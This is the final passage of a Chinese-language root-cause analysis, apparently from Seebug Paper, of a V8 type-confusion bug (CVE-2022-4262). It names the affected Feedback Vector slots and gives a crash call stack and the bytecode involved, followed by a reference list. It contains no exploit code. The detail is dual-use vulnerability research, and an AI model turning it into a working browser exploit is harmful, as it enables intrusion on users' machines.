Type Confusion发生位置
通过观察Feedback Vector的内容,我们可以发现:GC前后,Feedback Vector对应的字节码类型产生了变化,理论上来说,其中存储的数据类型也不同。但由于GC不对Feedback Vector进行回收,其中的内容被保留下来。导致GC后,Feedback Vector中实际存储的数据类型与要求存储的数据类型不同。 具体的,发生在Slot #7, #9, #11, #13。
崩溃点位置
通过查看产生崩溃时的调用栈:
libv8_libbase.so!v8::base::OS::Abort()::$_0::operator()() const( this) (src\base\platform\platform-posix.cc:674)
libv8_libbase.so!v8::base::OS::Abort() (src\base\platform\platform-posix.cc:674)
libv8_libbase.so!V8_Fatal(const char * file, int line, const char * format) (src\base\logging.cc:167)
libv8.so!v8::internal::CheckObjectType(v8::internal::Address raw_value, v8::internal::Address raw_type, v8::internal::Address raw_location) (src\objects\object-type.cc:78)
[Unknown/Just-In-Time compiled code] (Unknown Source:0) // 0x7f47ffdc3099
再结合上述的Type Confusion信息以及利用--print-builtin-info
打印出的builtin函数对应的内存地址:
发现崩溃时,对应的字节码是LdaLookupGlobalSlot。
1. https://bugs.chromium.org/p/chromium/issues/detail?id=1394403
2. https://chromium.googlesource.com/v8/v8/+/27fa951ae4a3801126e84bc94d5c82dd2370d18b
3. https://chromium-review.googlesource.com/c/v8/v8/+/4066044
4. https://262.ecma-international.org/12.0/#sec-class-definitions
5. https://262.ecma-international.org/12.0/#prod-MethodDefinition
6. https://262.ecma-international.org/12.0/#prod-PropertyName
7. https://262.ecma-international.org/12.0/#prod-ComputedPropertyName
8. https://tc39.es/ecma262/multipage/ecmascript-language-expressions.html#sec-conditional-operator
9. https://v8.dev/docs/csa-builtins
10. https://stackoverflow.com/questions/56857660/debugging-codestubassembler-csa-code-in-v8
11. https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Strict_mode
12. https://zhuanlan.zhihu.com/p/377809991
13. https://cabulous.medium.com/javascript-execution-context-part-1-from-compiling-to-execution-84c11c0660f5
14. https://cabulous.medium.com/javascript-execution-context-part-2-call-stack-and-multiple-execution-contexts-dbe428a94190
15. https://cabulous.medium.com/javascript-execution-context-lexical-environment-and-block-scope-part-3-fc2551c92ce0
16. https://cabulous.medium.com/javascript-execution-context-scope-chain-closure-and-this-part-4-961acd9689c9
17. https://tc39.es/ecma262/#sec-execution-contexts
18. https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/class
19. https://zhuanlan.zhihu.com/p/28590489
20. https://docs.google.com/document/d/11T2CRex9hXxoJwbYqVQ32yIPMh0uouUZLdyrtmMoL44/edit
21. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-4262.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3029/